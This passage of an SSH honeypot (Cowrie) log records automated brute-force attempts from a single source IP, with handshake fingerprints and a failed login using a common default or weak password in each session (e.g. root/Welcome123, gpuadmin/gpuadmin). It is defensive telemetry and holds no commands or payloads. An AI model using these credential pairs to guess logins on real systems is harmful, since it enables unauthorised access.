0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:24.125067Z","src_ip":"192.109.200.237","session":"f01ae86d80d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:24.372553Z","src_ip":"192.109.200.237","session":"f01ae86d80d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:25.457618Z","src_ip":"192.109.200.237","session":"f01ae86d80d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35758,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe2314d47e14","protocol":"ssh","message":"New connection: 192.109.200.237:35758 (159.203.135.109:22) [session: fe2314d47e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:27.186839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:27.192275Z","src_ip":"192.109.200.237","session":"fe2314d47e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:27.274648Z","src_ip":"192.109.200.237","session":"fe2314d47e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:27.523242Z","src_ip":"192.109.200.237","session":"fe2314d47e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:28.609659Z","src_ip":"192.109.200.237","session":"fe2314d47e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45128,"dst_ip":"159.203.135.109","dst_port":22,"session":"b38752b9311d","protocol":"ssh","message":"New connection: 192.109.200.237:45128 (159.203.135.109:22) [session: b38752b9311d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:30.376099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:30.385346Z","src_ip":"192.109.200.237","session":"b38752b9311d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:30.467545Z","src_ip":"192.109.200.237","session":"b38752b9311d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:30.845282Z","src_ip":"192.109.200.237","session":"b38752b9311d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:31.929546Z","src_ip":"192.109.200.237","session":"b38752b9311d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45144,"dst_ip":"159.203.135.109","dst_port":22,"session":"161ec683361b","protocol":"ssh","message":"New connection: 192.109.200.237:45144 (159.203.135.109:22) [session: 161ec683361b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:33.686040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:33.690969Z","src_ip":"192.109.200.237","session":"161ec683361b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:33.772989Z","src_ip":"192.109.200.237","session":"161ec683361b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:34.018811Z","src_ip":"192.109.200.237","session":"161ec683361b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:35.104297Z","src_ip":"192.109.200.237","session":"161ec683361b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45150,"dst_ip":"159.203.135.109","dst_port":22,"session":"2964e119645e","protocol":"ssh","message":"New connection: 192.109.200.237:45150 (159.203.135.109:22) [session: 2964e119645e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:36.880221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:36.888360Z","src_ip":"192.109.200.237","session":"2964e119645e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:36.970592Z","src_ip":"192.109.200.237","session":"2964e119645e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:37.216416Z","src_ip":"192.109.200.237","session":"2964e119645e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:38.301163Z","src_ip":"192.109.200.237","session":"2964e119645e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45152,"dst_ip":"159.203.135.109","dst_port":22,"session":"e871c867fb1e","protocol":"ssh","message":"New connection: 192.109.200.237:45152 (159.203.135.109:22) [session: e871c867fb1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:39.955372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:40.006053Z","src_ip":"192.109.200.237","session":"e871c867fb1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:40.181670Z","src_ip":"192.109.200.237","session":"e871c867fb1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:40.446195Z","src_ip":"192.109.200.237","session":"e871c867fb1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:41.532432Z","src_ip":"192.109.200.237","session":"e871c867fb1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33562,"dst_ip":"159.203.135.109","dst_port":22,"session":"36dd354b4a38","protocol":"ssh","message":"New connection: 192.109.200.237:33562 (159.203.135.109:22) [session: 36dd354b4a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:43.357024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:43.361442Z","src_ip":"192.109.200.237","session":"36dd354b4a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:43.443104Z","src_ip":"192.109.200.237","session":"36dd354b4a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:43.689108Z","src_ip":"192.109.200.237","session":"36dd354b4a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:44.860614Z","src_ip":"192.109.200.237","session":"36dd354b4a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33576,"dst_ip":"159.203.135.109","dst_port":22,"session":"473384c1903c","protocol":"ssh","message":"New connection: 192.109.200.237:33576 (159.203.135.109:22) [session: 473384c1903c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:46.471626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:46.476945Z","src_ip":"192.109.200.237","session":"473384c1903c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:46.559497Z","src_ip":"192.109.200.237","session":"473384c1903c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:46.805041Z","src_ip":"192.109.200.237","session":"473384c1903c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:47.890508Z","src_ip":"192.109.200.237","session":"473384c1903c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33586,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6fd68266366","protocol":"ssh","message":"New connection: 192.109.200.237:33586 (159.203.135.109:22) [session: e6fd68266366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:49.839223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:49.844832Z","src_ip":"192.109.200.237","session":"e6fd68266366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:49.927637Z","src_ip":"192.109.200.237","session":"e6fd68266366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:50.174370Z","src_ip":"192.109.200.237","session":"e6fd68266366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:51.259729Z","src_ip":"192.109.200.237","session":"e6fd68266366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40620,"dst_ip":"159.203.135.109","dst_port":22,"session":"36f31871b7ff","protocol":"ssh","message":"New connection: 192.109.200.237:40620 (159.203.135.109:22) [session: 36f31871b7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:53.022367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:53.028049Z","src_ip":"192.109.200.237","session":"36f31871b7ff","protocol":"ssh"}
